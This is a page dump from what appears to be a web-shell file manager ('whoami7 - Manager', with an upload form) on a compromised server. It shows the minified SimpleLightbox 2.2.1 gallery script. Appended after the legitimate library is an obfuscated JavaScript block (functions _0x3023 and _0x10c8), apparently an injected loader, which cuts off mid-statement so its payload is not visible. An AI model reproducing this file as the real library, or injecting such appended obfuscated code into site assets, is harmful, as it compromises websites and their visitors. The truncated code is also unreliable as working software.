whoami7 - Manager
:
/
home
/
kckglobal
/
.trash
/
modules
/
warehouse
/
assets
/
plugins
/
simplelightbox
/
Upload File:
files >> //home/kckglobal/.trash/modules/warehouse/assets/plugins/simplelightbox/simple-lightbox.min.js
/*! By AndrĂ© Rinas, www.andrerinas.de Documentation, www.simplelightbox.de Available for use under the MIT License Version 2.2.1 */ "use strict";function _createForOfIteratorHelper(t){if("undefined"==typeof Symbol||null==t[Symbol.iterator]){if(Array.isArray(t)||(t=_unsupportedIterableToArray(t))){var e=0,i=function(){};return{s:i,n:function(){return e>=t.length?{done:!0}:{done:!1,value:t[e++]}},e:function(t){throw t},f:i}}throw new TypeError("Invalid attempt to iterate non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}var n,s,o=!0,a=!1;return{s:function(){n=t[Symbol.iterator]()},n:function(){var t=n.next();return o=t.done,t},e:function(t){a=!0,s=t},f:function(){try{o||null==n.return||n.return()}finally{if(a)throw s}}}}function _unsupportedIterableToArray(t,e){if(t){if("string"==typeof t)return _arrayLikeToArray(t,e);var i=Object.prototype.toString.call(t).slice(8,-1);return"Object"===i&&t.constructor&&(i=t.constructor.name),"Map"===i||"Set"===i?Array.from(i):"Arguments"===i||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(i)?_arrayLikeToArray(t,e):void 0}}function _arrayLikeToArray(t,e){(null==e||e>t.length)&&(e=t.length);for(var i=0,n=new Array(e);i<e;i++)n[i]=t[i];return n}function _classCallCheck(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function _defineProperties(t,e){for(var i=0;i<e.length;i++){var n=e[i];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(t,n.key,n)}}function _createClass(t,e,i){return e&&_defineProperties(t.prototype,e),i&&_defineProperties(t,i),t}function _defineProperty(t,e,i){return e in t?Object.defineProperty(t,e,{value:i,enumerable:!0,configurable:!0,writable:!0}):t[e]=i,t}var SimpleLightbox=function(){function n(t,e){var i=this;_classCallCheck(this,n),_defineProperty(this,"a",{sourceAttr:"href",overlay:!0,spinner:!0,nav:!0,navText:["‹","›"],captions:!0,captionDelay:0,captionSelector:"img",captionType:"attr",captionsData:"title",captionPosition:"bottom",captionClass:"",close:!0,closeText:"×",swipeClose:!0,showCounter:!0,fileExt:"png|jpg|jpeg|gif|webp",animationSlide:!0,animationSpeed:250,preloading:!0,enableKeyboard:!0,loop:!0,rel:!1,docClose:!0,swipeTolerance:50,className:"simple-lightbox",widthRatio:.8,heightRatio:.9,scaleImageToRatio:!1,disableRightClick:!1,disableScroll:!0,alertError:!0,alertErrorMessage:"Image not found, next image will be loaded",additionalHtml:!1,history:!0,throttleInterval:0,doubleTapZoom:2,maxZoom:10,htmlClass:"has-lightbox",rtl:!1}),_defineProperty(this,"b",void 0),_defineProperty(this,"c",!1),_defineProperty(this,"d","ontouchstart"in window),_defineProperty(this,"e",void 0),_defineProperty(this,"f","pushState"in history),_defineProperty(this,"g",!1),_defineProperty(this,"h",!1),_defineProperty(this,"i",!1),_defineProperty(this,"j",!1),_defineProperty(this,"k",!1),_defineProperty(this,"l",!1),_defineProperty(this,"m",null),_defineProperty(this,"n",void 0),_defineProperty(this,"o","simplelightbox"),_defineProperty(this,"p",{}),_defineProperty(this,"q",[]),_defineProperty(this,"r",0),_defineProperty(this,"s",0),_defineProperty(this,"t",null),_defineProperty(this,"u",0),_defineProperty(this,"v",{a:0,b:0,c:0,d:0,e:0,f:0,g:!1,h:0,i:!1,j:0,k:0,l:0,m:0,n:0,o:0,p:!1,q:0,r:0,s:0,t:0,u:0,v:0,w:1,x:0,y:0,z:0,A:0,B:0,C:0,D:0,E:0,F:0,G:0,H:0,I:0,J:0,K:0,L:0,M:!1,N:0}),this.options=Object.assign(this.a,e),"string"==typeof t?(this.t=t,this.elements=Array.from(document.querySelectorAll(t))):this.elements=void 0!==t.length&&0<t.length?Array.from(t):[t],this.relatedElements=[],this.b=this.calculateTransitionPrefix(),this.c=!1!==this.b,this.e=this.hash,this.options.rel&&(this.elements=this.getRelated(this.options.rel)),this.createDomNodes(),this.options.close&&this.p.a.appendChild(this.p.b),this.options.nav&&this.p.a.appendChild(this.p.c),this.options.spinner&&this.p.a.appendChild(this.p.d),this.addEventListener(this.elements,"click."+this.o,function(t){if(i.isValidLink(t.currentTarget)){if(t.preventDefault(),i.h)return!1;i.r=i.elements.indexOf(t.currentTarget),i.openImage(t.currentTarget)}}),this.options.docClose&&this.addEventListener(this.p.e,["click."+this.o,"touchstart."+this.o],function(t){i.g&&i.close()}),this.options.disableRightClick&&this.addEventListener(document.body,"contextmenu."+this.o,function(t){t.target.classList.contains("sl-overlay")&&t.preventDefault()}),this.options.enableKeyboard&&this.addEventListener(document.body,"keyup."+this.o,this.throttle(function(t){if(i.v.a=0,i.h&&"Escape"===t.key)return i.n.setAttribute("src",""),i.h=!1,i.close();i.g&&(t.preventDefault(),"Escape"===t.key&&i.close(),!i.h&&-1<["ArrowLeft","ArrowRight"].indexOf(t.key)&&i.loadImage("ArrowRight"===t.key?1:-1))},this.options.throttleInterval)),this.addEvents()}return _createClass(n,[{key:"createDomNodes",value:function(){this.p.e=document.createElement("div"),this.p.e.classList.add("sl-overlay"),this.p.e.dataset.opacityTarget=".7",this.p.b=document.createElement("button"),this.p.b.classList.add("sl-close"),this.p.b.innerHTML=this.options.closeText,this.p.d=document.createElement("div"),this.p.d.classList.add("sl-spinner"),this.p.d.innerHTML="<div></div>",this.p.c=document.createElement("div"),this.p.c.classList.add("sl-navigation"),this.p.c.innerHTML='<button class="sl-prev">'.concat(this.options.navText[0],'</button><button class="sl-next">').concat(this.options.navText[1],"</button>"),this.p.f=document.createElement("div"),this.p.f.classList.add("sl-counter"),this.p.f.innerHTML='<span class="sl-current"></span>/<span class="sl-total"></span>',this.p.g=document.createElement("div"),this.p.g.classList.add("sl-caption","pos-"+this.options.captionPosition),this.options.captionClass&&this.p.g.classList.add(this.options.captionClass),this.p.h=document.createElement("div"),this.p.h.classList.add("sl-image"),this.p.a=document.createElement("div"),this.p.a.classList.add("sl-wrapper"),this.options.className&&this.p.a.classList.add(this.options.className),this.options.rtl&&this.p.a.classList.add("sl-dir-rtl")}},{key:"throttle",value:function(t,e){var i;return function(){i||(t.apply(this,arguments),i=!0,setTimeout(function(){return i=!1},e))}}},{key:"isValidLink",value:function(t){return!this.options.fileExt||"pathname"in t&&new RegExp("("+this.options.fileExt+")$","i").test(t.pathname)}},{key:"calculateTransitionPrefix",value:function(){var t=(document.body||document.documentElement).style;return"transition"in t?"":"WebkitTransition"in t?"-webkit-":"MozTransition"in t?"-moz-":"OTransition"in t&&"-o"}},{key:"toggleScrollbar",value:function(t){var e=0;if("hide"===t){var i=window.innerWidth;if(!i){var n=document.documentElement.getBoundingClientRect();i=n.right-Math.abs(n.left)}if(document.body.clientWidth<i){var s=document.createElement("div"),o=parseInt(document.body.style.paddingRight||0,10);s.classList.add("sl-scrollbar-measure"),document.body.appendChild(s),e=s.offsetWidth-s.clientWidth,document.body.removeChild(s),document.body.dataset.originalPaddingRight=o,0<e&&(document.body.classList.add("hidden-scroll"),document.body.style.paddingRight=o+e+"px")}}else document.body.classList.remove("hidden-scroll"),document.body.style.paddingRight=document.body.dataset.originalPaddingRight;return e}},{key:"close",value:function(){var t=this;if(!this.g||this.h||this.i)return!1;this.i=!0;var e=this.relatedElements[this.nIndex];for(var i in e.dispatchEvent(new Event("close.simplelightbox")),this.options.history&&(this.l=!1,this.k||this.resetHash()),this.fadeOut(document.querySelectorAll(".sl-image img, .sl-overlay, .sl-close, .sl-navigation, .sl-image .sl-caption, .sl-counter"),300,function(){t.options.disableScroll&&t.toggleScrollbar("show"),t.options.htmlClass&&""!==t.options.htmlClass&&document.querySelector("html").classList.remove(t.options.htmlClass),document.body.removeChild(t.p.a),document.body.removeChild(t.p.e),t.p.i=null,e.dispatchEvent(new Event("closed.simplelightbox")),t.i=!1}),this.n=null,this.g=!1,this.h=!1,this.v)this.v[i]=0;this.v.g=!1,this.v.i=!1,this.v.p=!1,this.v.w=this.minMax(1,1,this.options.maxZoom),this.v.M=!1}},{key:"preload",value:function(){var i=this,n=this.nIndex,t=this.relatedElements.length,e=n+1<0?t-1:t-1<=n+1?0:n+1,s=n-1<0?t-1:t-1<=n-1?0:n-1,o=new Image,a=new Image;o.addEventListener("load",function(t){var e=t.target.getAttribute("src");-1===i.q.indexOf(e)&&i.q.push(e),i.relatedElements[n].dispatchEvent(new Event("nextImageLoaded."+i.o))}),o.setAttribute("src",this.relatedElements[e].getAttribute(this.options.sourceAttr)),a.addEventListener("load",function(t){var e=t.target.getAttribute("src");-1===i.q.indexOf(e)&&i.q.push(e),i.relatedElements[n].dispatchEvent(new Event("prevImageLoaded."+i.o))}),a.setAttribute("src",this.relatedElements[s].getAttribute(this.options.sourceAttr))}},{key:"loadImage",value:function(t){var e=this,i=t;this.options.rtl&&(t=-t),this.relatedElements[this.nIndex].dispatchEvent(new Event("change."+this.o)),this.relatedElements[this.nIndex].dispatchEvent(new Event((1===t?"next":"prev")+"."+this.o));var n=this.nIndex+t;if(this.h||(n<0||n>=this.relatedElements.length)&&!1===this.options.loop)return!1;this.nIndex=n<0?this.relatedElements.length-1:n>this.relatedElements.length-1?0:n,this.p.f.querySelector(".sl-current").innerHTML=this.nIndex+1,this.options.animationSlide&&this.slide(this.options.animationSpeed/1e3,-100*i-this.v.a+"px"),this.fadeOut(this.p.h,300,function(){e.h=!0,setTimeout(function(){var t=e.relatedElements[e.nIndex];e.n.setAttribute("src",t.getAttribute(e.options.sourceAttr)),-1===e.q.indexOf(t.getAttribute(e.options.sourceAttr))&&e.show(e.p.d),e.p.h.contains(e.p.g)&&e.p.h.removeChild(e.p.g),e.adjustImage(i),e.options.preloading&&e.preload()},100)})}},{key:"adjustImage",value:function(a){var r=this;if(!this.n)return!1;var t=new Image,l=window.innerWidth*this.options.widthRatio,h=window.innerHeight*this.options.heightRatio;t.setAttribute("src",this.n.getAttribute("src")),this.n.dataset.scale=1,this.n.dataset.translateX=0,this.n.dataset.translateY=0,this.zoomPanElement(0,0,1),t.addEventListener("error",function(t){r.relatedElements[r.nIndex].dispatchEvent(new Event("error."+r.o)),r.h=!1,r.g=!1,r.p.d.style.display="none";var e=1===a||-1===a;if(r.r===r.nIndex&&e)return r.close();r.options.alertError&&alert(r.options.alertErrorMessage),r.loadImage(e?a:1)}),t.addEventListener("load",function(t){void 0!==a&&(r.relatedElements[r.nIndex].dispatchEvent(new Event("changed."+r.o)),r.relatedElements[r.nIndex].dispatchEvent(new Event((1===a?"nextDone":"prevDone")+"."+r.o))),r.options.history&&r.updateURL(),-1===r.q.indexOf(r.n.getAttribute("src"))&&r.q.push(r.n.getAttribute("src"));var e=t.target.width,i=t.target.height;if(r.options.scaleImageToRatio||l<e||h<i){var n=l/h<e/i?e/l:i/h;e/=n,i/=n}r.p.h.style.top=(window.innerHeight-i)/2+"px",r.p.h.style.left=(window.innerWidth-e-r.u)/2+"px",r.p.h.style.width=e+"px",r.p.h.style.height=i+"px",r.p.d.style.display="none",r.fadeIn(r.n,300),r.g=!0;var s,o="self"===r.options.captionSelector?r.relatedElements[r.nIndex]:r.relatedElements[r.nIndex].querySelector(r.options.captionSelector);r.options.captions&&o&&(s="data"===r.options.captionType?o.dataset[r.options.captionsData]:"text"===r.options.captionType?o.innerHTML:o.getAttribute(r.options.captionsData)),r.options.loop||(0===r.nIndex&&r.hide(r.p.c.querySelector(".sl-prev")),r.nIndex>=r.relatedElements.length-1&&r.hide(r.p.c.querySelector(".sl-next")),0<r.nIndex&&r.show(r.p.c.querySelector(".sl-prev")),r.nIndex<r.relatedElements.length-1&&r.show(r.p.c.querySelector(".sl-next"))),1===r.relatedElements.length?r.hide(r.p.c.querySelectorAll(".sl-prev, .sl-next")):r.show(r.p.c.querySelectorAll(".sl-prev, .sl-next")),1===a||-1===a?(r.options.animationSlide&&(r.slide(0,100*a+"px"),setTimeout(function(){r.slide(r.options.animationSpeed/1e3,"0px")},50)),r.fadeIn(r.p.h,300,function(){r.h=!1,r.setCaption(s,e)})):(r.h=!1,r.setCaption(s,e)),r.options.additionalHtml&&!r.p.i&&(r.p.i=document.createElement("div"),r.p.i.classList.add("sl-additional-html"),r.p.i.innerHTML=r.options.additionalHtml,r.p.h.appendChild(r.p.i))})}},{key:"zoomPanElement",value:function(t,e,i){this.n.style[this.b+"transform"]="translate("+t+","+e+") scale("+i+")"}},{key:"minMax",value:function(t,e,i){return t<e?e:i<t?i:t}},{key:"setZoomData",value:function(t,e,i){this.n.dataset.scale=t,this.n.dataset.translateX=e,this.n.dataset.translateY=i}},{key:"hashchangeHandler",value:function(){this.g&&this.hash===this.e&&(this.k=!0,this.close())}},{key:"addEvents",value:function(){var i=this;this.addEventListener(window,"resize."+this.o,function(t){i.g&&i.adjustImage()}),this.addEventListener(this.p.b,["click."+this.o,"touchstart."+this.o],this.close.bind(this)),this.options.history&&setTimeout(function(){i.addEventListener(window,"hashchange."+i.o,function(t){i.g&&i.hashchangeHandler()})},40),this.addEventListener(this.p.c.getElementsByTagName("button"),"click."+this.o,function(t){if(!t.currentTarget.tagName.match(/button/i))return!0;t.preventDefault(),i.v.a=0,i.loadImage(t.currentTarget.classList.contains("sl-next")?1:-1)}),this.addEventListener(this.p.h,["touchstart."+this.o,"mousedown."+this.o],function(t){if("A"===t.target.tagName&&"touchstart"===t.type)return!0;if("mousedown"===t.type)i.v.s=t.clientX,i.v.t=t.clientY,i.v.j=i.getDimensions(i.p.h).height,i.v.k=i.getDimensions(i.p.h).width,i.v.n=i.getDimensions(i.n).height,i.v.o=i.getDimensions(i.n).width,i.v.l=i.p.h.offsetLeft,i.v.m=i.p.h.offsetTop,i.v.q=parseFloat(i.n.dataset.translateX),i.v.r=parseFloat(i.n.dataset.translateY),i.v.p=!0;else{if(i.v.L=t.touches.length,i.v.s=t.touches[0].clientX,i.v.t=t.touches[0].clientY,i.v.j=i.getDimensions(i.p.h).height,i.v.k=i.getDimensions(i.p.h).width,i.v.n=i.getDimensions(i.n).height,i.v.o=i.getDimensions(i.n).width,i.v.l=i.p.h.offsetLeft,i.v.m=i.p.h.offsetTop,1===i.v.L){if(i.v.M)return i.n.classList.add("sl-transition"),i.v.i?(i.v.w=1,i.setZoomData(i.v.w,0,0),i.zoomPanElement("0px","0px",i.v.w),i.v.i=!1):(i.v.w=i.options.doubleTapZoom,i.setZoomData(i.v.w,0,0),i.zoomPanElement("0px","0px",i.v.w),i.p.g.style.opacity||"none"===i.p.g.style.display||i.fadeOut(i.p.g,200),i.v.i=!0),setTimeout(function(){i.n&&i.n.classList.remove("sl-transition")},200),!1;i.v.M=!0,setTimeout(function(){i.v.M=!1},300),i.v.q=parseFloat(i.n.dataset.translateX),i.v.r=parseFloat(i.n.dataset.translateY)}else 2===i.v.L&&(i.v.s2=t.touches[1].clientX,i.v.t2=t.touches[1].clientY,i.v.q=parseFloat(i.n.dataset.translateX),i.v.r=parseFloat(i.n.dataset.translateY),i.v.F=(i.v.s+i.v.s2)/2,i.v.G=(i.v.t+i.v.t2)/2,i.v.x=Math.sqrt((i.v.s-i.v.s2)*(i.v.s-i.v.s2)+(i.v.t-i.v.t2)*(i.v.t-i.v.t2)));i.v.p=!0}return!!i.v.g||(i.c&&(i.v.h=parseInt(i.p.h.style.left,10)),i.v.g=!0,i.v.a=0,i.v.b=0,i.v.c=t.pageX||t.touches[0].pageX,i.v.e=t.pageY||t.touches[0].pageY,!1)}),this.addEventListener(this.p.h,["touchmove."+this.o,"mousemove."+this.o,"MSPointerMove"],function(t){if(!i.v.g)return!0;if(t.preventDefault(),"touchmove"===t.type){if(!1===i.v.p)return!1;i.v.y=t.touches[0].clientX,i.v.z=t.touches[0].clientY,i.v.L=t.touches.length,i.v.N++,1<i.v.L?(i.v.y2=t.touches[1].clientX,i.v.z2=t.touches[1].clientY,i.v.K=Math.sqrt((i.v.y-i.v.y2)*(i.v.y-i.v.y2)+(i.v.z-i.v.z2)*(i.v.z-i.v.z2)),null===i.v.x&&(i.v.x=i.v.K),1<=Math.abs(i.v.x-i.v.K)&&(i.v.E=i.minMax(i.v.K/i.v.x*i.v.w,1,i.options.maxZoom),i.v.H=(i.v.o*i.v.E-i.v.k)/2,i.v.I=(i.v.n*i.v.E-i.v.j)/2,i.v.J=i.v.E-i.v.w,i.v.C=i.v.o*i.v.E<=i.v.k?0:i.minMax(i.v.q-(i.v.F-i.v.l-i.v.k/2-i.v.q)/(i.v.E-i.v.J)*i.v.J,-1*i.v.H,i.v.H),i.v.D=i.v.n*i.v.E<=i.v.j?0:i.minMax(i.v.r-(i.v.G-i.v.m-i.v.j/2-i.v.r)/(i.v.E-i.v.J)*i.v.J,-1*i.v.I,i.v.I),i.zoomPanElement(i.v.C+"px",i.v.D+"px",i.v.E),1<i.v.E&&(i.v.i=!0,i.p.g.style.opacity||"none"===i.p.g.style.display||i.fadeOut(i.p.g,200)),i.v.x=i.v.K,i.v.w=i.v.E,i.v.q=i.v.C,i.v.r=i.v.D)):(i.v.E=i.v.w,i.v.H=(i.v.o*i.v.E-i.v.k)/2,i.v.I=(i.v.n*i.v.E-i.v.j)/2,i.v.C=i.v.o*i.v.E<=i.v.k?0:i.minMax(i.v.y-(i.v.s-i.v.q),-1*i.v.H,i.v.H),i.v.D=i.v.n*i.v.E<=i.v.j?0:i.minMax(i.v.z-(i.v.t-i.v.r),-1*i.v.I,i.v.I),Math.abs(i.v.C)===Math.abs(i.v.H)&&(i.v.q=i.v.C,i.v.s=i.v.y),Math.abs(i.v.D)===Math.abs(i.v.I)&&(i.v.r=i.v.D,i.v.t=i.v.z),i.setZoomData(i.v.w,i.v.C,i.v.D),i.zoomPanElement(i.v.C+"px",i.v.D+"px",i.v.E))}if("mousemove"===t.type&&i.v.g){if("touchmove"==t.type)return!0;if(!1===i.v.p)return!1;i.v.y=t.clientX,i.v.z=t.clientY,i.v.E=i.v.w,i.v.H=(i.v.o*i.v.E-i.v.k)/2,i.v.I=(i.v.n*i.v.E-i.v.j)/2,i.v.C=i.v.o*i.v.E<=i.v.k?0:i.minMax(i.v.y-(i.v.s-i.v.q),-1*i.v.H,i.v.H),i.v.D=i.v.n*i.v.E<=i.v.j?0:i.minMax(i.v.z-(i.v.t-i.v.r),-1*i.v.I,i.v.I),Math.abs(i.v.C)===Math.abs(i.v.H)&&(i.v.q=i.v.C,i.v.s=i.v.y),Math.abs(i.v.D)===Math.abs(i.v.I)&&(i.v.r=i.v.D,i.v.t=i.v.z),i.setZoomData(i.v.w,i.v.C,i.v.D),i.zoomPanElement(i.v.C+"px",i.v.D+"px",i.v.E)}i.v.i||(i.v.d=t.pageX||t.touches[0].pageX,i.v.f=t.pageY||t.touches[0].pageY,i.v.a=i.v.c-i.v.d,i.v.b=i.v.e-i.v.f,i.options.animationSlide&&i.slide(0,-i.v.a+"px"))}),this.addEventListener(this.p.h,["touchend."+this.o,"mouseup."+this.o,"touchcancel."+this.o,"mouseleave."+this.o,"pointerup","pointercancel","MSPointerUp","MSPointerCancel"],function(t){if(i.d&&"touchend"===t.type&&(i.v.L=t.touches.length,0===i.v.L?(i.n&&i.setZoomData(i.v.w,i.v.C,i.v.D),1===i.v.w&&(i.v.i=!1,"none"===i.p.g.style.display&&i.fadeIn(i.p.g,200)),i.v.x=null,i.v.p=!1):1===i.v.L?(i.v.s=t.touches[0].clientX,i.v.t=t.touches[0].clientY):1<i.v.L&&(i.v.x=null)),i.v.g){var e=!(i.v.g=!1);i.options.loop||(0===i.nIndex&&i.v.a<0&&(e=!1),i.nIndex>=i.relatedElements.length-1&&0<i.v.a&&(e=!1)),Math.abs(i.v.a)>i.options.swipeTolerance&&e?i.loadImage(0<i.v.a?1:-1):i.options.animationSlide&&i.slide(i.options.animationSpeed/1e3,"0px"),i.options.swipeClose&&50<Math.abs(i.v.b)&&Math.abs(i.v.a)<i.options.swipeTolerance&&i.close()}}),this.addEventListener(this.p.h,["dblclick"],function(t){if(!i.d)return i.v.s=t.clientX,i.v.t=t.clientY,i.v.j=i.getDimensions(i.p.h).height,i.v.k=i.getDimensions(i.p.h).width,i.v.n=i.getDimensions(i.n).height,i.v.o=i.getDimensions(i.n).width,i.v.l=i.p.h.offsetLeft,i.v.m=i.p.h.offsetTop,i.n.classList.add("sl-transition"),i.v.i?(i.v.w=1,i.setZoomData(i.v.w,0,0),i.zoomPanElement("0px","0px",i.v.w),i.v.i=!1,"none"===i.p.g.style.display&&i.fadeIn(i.p.g,200)):(i.v.w=i.options.doubleTapZoom,i.setZoomData(i.v.w,0,0),i.zoomPanElement("0px","0px",i.v.w),i.p.g.style.opacity||"none"===i.p.g.style.display||i.fadeOut(i.p.g,200),i.v.i=!0),setTimeout(function(){i.n&&i.n.classList.remove("sl-transition")},200),!(i.v.p=!0)})}},{key:"getDimensions",value:function(t){var e=window.getComputedStyle(t),i=t.offsetHeight,n=t.offsetWidth,s=parseFloat(e.borderTopWidth);return{height:i-parseFloat(e.borderBottomWidth)-s-parseFloat(e.paddingTop)-parseFloat(e.paddingBottom),width:n-parseFloat(e.borderLeftWidth)-parseFloat(e.borderRightWidth)-parseFloat(e.paddingLeft)-parseFloat(e.paddingRight)}}},{key:"updateHash",value:function(){var t="pid="+(this.nIndex+1),e=window.location.href.split("#")[0]+"#"+t;this.k=!1,this.f?window.history[this.l?"replaceState":"pushState"]("",document.title,e):this.l?window.location.replace(e):window.location.hash=t,this.l||(this.j=!0),this.l=!0}},{key:"resetHash",value:function(){this.k=!0,this.j?history.back():this.f?history.pushState("",document.title,window.location.pathname+window.location.search):window.location.hash="",clearTimeout(this.m)}},{key:"updateURL",value:function(){clearTimeout(this.m),this.l?this.m=setTimeout(this.updateHash.bind(this),800):this.updateHash()}},{key:"setCaption",value:function(t,e){var i=this;this.options.captions&&t&&""!==t&&void 0!==t&&(this.hide(this.p.g),this.p.g.style.width=e+"px",this.p.g.innerHTML=t,this.p.h.appendChild(this.p.g),setTimeout(function(){i.fadeIn(i.p.g,300)},this.options.captionDelay))}},{key:"slide",value:function(t,e){if(!this.c)return this.p.h.style.left=e;this.p.h.style[this.b+"transform"]="translateX("+e+")",this.p.h.style[this.b+"transition"]=this.b+"transform "+t+"s linear"}},{key:"getRelated",value:function(e){return e&&!1!==e&&"nofollow"!==e?Array.from(this.elements).filter(function(t){return t.getAttribute("rel")===e}):this.elements}},{key:"openImage",value:function(t){var e=this;t.dispatchEvent(new Event("show."+this.o)),this.options.disableScroll&&(this.u=this.toggleScrollbar("hide")),this.options.htmlClass&&""!==this.options.htmlClass&&document.querySelector("html").classList.add(this.options.htmlClass),document.body.appendChild(this.p.a),this.p.a.appendChild(this.p.h),this.options.overlay&&document.body.appendChild(this.p.e),this.relatedElements=this.getRelated(t.rel),this.options.showCounter&&(1==this.relatedElements.length&&this.p.a.contains(this.p.f)?this.p.a.removeChild(this.p.f):1<this.relatedElements.length&&!this.p.a.contains(this.p.f)&&this.p.a.appendChild(this.p.f)),this.h=!0,this.nIndex=this.relatedElements.indexOf(t);var i=t.getAttribute(this.options.sourceAttr);this.n=document.createElement("img"),this.n.style.display="none",this.n.setAttribute("src",i),this.n.dataset.scale=1,this.n.dataset.translateX=0,this.n.dataset.translateY=0,-1===this.q.indexOf(i)&&this.q.push(i),this.p.h.innerHTML="",this.p.h.setAttribute("style",""),this.p.h.appendChild(this.n),this.fadeIn(this.p.e,300),this.fadeIn([this.p.f,this.p.c,this.p.b],300),this.show(this.p.d),this.p.f.querySelector(".sl-current").innerHTML=this.nIndex+1,this.p.f.querySelector(".sl-total").innerHTML=this.relatedElements.length,this.adjustImage(),this.options.preloading&&this.preload(),setTimeout(function(){t.dispatchEvent(new Event("shown."+e.o))},this.options.animationSpeed)}},{key:"addEventListener",value:function(t,e,i,n){t=this.wrap(t),e=this.wrap(e);var s,o=_createForOfIteratorHelper(t);try{for(o.s();!(s=o.n()).done;){var a=s.value;a.namespaces||(a.namespaces={});var r,l=_createForOfIteratorHelper(e);try{for(l.s();!(r=l.n()).done;){var h=r.value,v=n||!1;a.namespaces[h]=i,a.addEventListener(h.split(".")[0],i,v)}}catch(t){l.e(t)}finally{l.f()}}}catch(t){o.e(t)}finally{o.f()}}},{key:"removeEventListener",value:function(t,e){t=this.wrap(t),e=this.wrap(e);var i,n=_createForOfIteratorHelper(t);try{for(n.s();!(i=n.n()).done;){var s,o=i.value,a=_createForOfIteratorHelper(e);try{for(a.s();!(s=a.n()).done;){var r=s.value;o.removeEventListener(r.split(".")[0],o.namespaces[r]),delete o.namespaces[r]}}catch(t){a.e(t)}finally{a.f()}}}catch(t){n.e(t)}finally{n.f()}}},{key:"fadeOut",value:function(r,t,l){var e,h=this,i=_createForOfIteratorHelper(r=this.wrap(r));try{for(i.s();!(e=i.n()).done;){e.value.style.opacity=1}}catch(t){i.e(t)}finally{i.f()}var v=16.66666/(t||300);!function t(){var e=parseFloat(r[0].style.opacity);if((e-=v)<0){var i,n=_createForOfIteratorHelper(r);try{for(n.s();!(i=n.n()).done;){var s=i.value;s.style.display="none",s.style.opacity=""}}catch(t){n.e(t)}finally{n.f()}l&&l.call(h,r)}else{var o,a=_createForOfIteratorHelper(r);try{for(a.s();!(o=a.n()).done;){o.value.style.opacity=e}}catch(t){a.e(t)}finally{a.f()}requestAnimationFrame(t)}}()}},{key:"fadeIn",value:function(a,t,r,e){var i,l=this,n=_createForOfIteratorHelper(a=this.wrap(a));try{for(n.s();!(i=n.n()).done;){var s=i.value;s.style.opacity=0,s.style.display=e||"block"}}catch(t){n.e(t)}finally{n.f()}var h=parseFloat(a[0].dataset.opacityTarget||1),v=16.66666*h/(t||300);!function t(){var e=parseFloat(a[0].style.opacity);if((e+=v)>h){var i,n=_createForOfIteratorHelper(a);try{for(n.s();!(i=n.n()).done;){i.value.style.opacity=""}}catch(t){n.e(t)}finally{n.f()}r&&r.call(l,a)}else{var s,o=_createForOfIteratorHelper(a);try{for(o.s();!(s=o.n()).done;){s.value.style.opacity=e}}catch(t){o.e(t)}finally{o.f()}requestAnimationFrame(t)}}()}},{key:"hide",value:function(t){var e,i=_createForOfIteratorHelper(t=this.wrap(t));try{for(i.s();!(e=i.n()).done;){var n=e.value;n.dataset.initialDisplay=n.style.display,n.style.display="none"}}catch(t){i.e(t)}finally{i.f()}}},{key:"show",value:function(t,e){var i,n=_createForOfIteratorHelper(t=this.wrap(t));try{for(n.s();!(i=n.n()).done;){var s=i.value;s.style.display=s.dataset.initialDisplay||e||"block"}}catch(t){n.e(t)}finally{n.f()}}},{key:"wrap",value:function(t){return"function"==typeof t[Symbol.iterator]&&"string"!=typeof t?t:[t]}},{key:"on",value:function(t,e){t=this.wrap(t);var i,n=_createForOfIteratorHelper(this.elements);try{for(n.s();!(i=n.n()).done;){var s=i.value;s.fullyNamespacedEvents||(s.fullyNamespacedEvents={});var o,a=_createForOfIteratorHelper(t);try{for(a.s();!(o=a.n()).done;){var r=o.value;s.fullyNamespacedEvents[r]=e,s.addEventListener(r,e)}}catch(t){a.e(t)}finally{a.f()}}}catch(t){n.e(t)}finally{n.f()}return this}},{key:"off",value:function(t){t=this.wrap(t);var e,i=_createForOfIteratorHelper(this.elements);try{for(i.s();!(e=i.n()).done;){var n,s=e.value,o=_createForOfIteratorHelper(t);try{for(o.s();!(n=o.n()).done;){var a=n.value;void 0!==s.fullyNamespacedEvents&&a in s.fullyNamespacedEvents&&s.removeEventListener(a,s.fullyNamespacedEvents[a])}}catch(t){o.e(t)}finally{o.f()}}}catch(t){i.e(t)}finally{i.f()}return this}},{key:"open",value:function(t){t=t||this.elements[0],"undefined"!=typeof jQuery&&t instanceof jQuery&&(t=t.get(0)),this.r=this.elements.indexOf(t),-1<this.r&&this.openImage(t)}},{key:"next",value:function(){this.loadImage(1)}},{key:"prev",value:function(){this.loadImage(-1)}},{key:"destroy",value:function(){this.off(["close."+this.o,"closed."+this.o,"nextImageLoaded."+this.o,"prevImageLoaded."+this.o,"change."+this.o,"nextDone."+this.o,"prevDone."+this.o,"error."+this.o,"changed."+this.o,"next."+this.o,"prev."+this.o,"show."+this.o,"shown."+this.o]),this.removeEventListener(this.elements,"click."+this.o),this.removeEventListener(document.body,"contextmenu."+this.o),this.removeEventListener(document.body,"keyup."+this.o),this.removeEventListener(this.p.c.getElementsByTagName("button"),"click."+this.o),this.removeEventListener(this.p.b,"click."+this.o),this.removeEventListener(window,"resize."+this.o),this.removeEventListener(window,"hashchange."+this.o),this.close(),this.g&&(document.body.removeChild(this.p.a),document.body.removeChild(this.p.e)),this.elements=null}},{key:"refresh",value:function(){if(!this.t)throw"refreshing only works when you initialize using a selector!";var t=this.options,e=this.t;return this.destroy(),this.constructor(e,t),this}},{key:"hash",get:function(){return window.location.hash.substring(1)}}]),n}(); function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 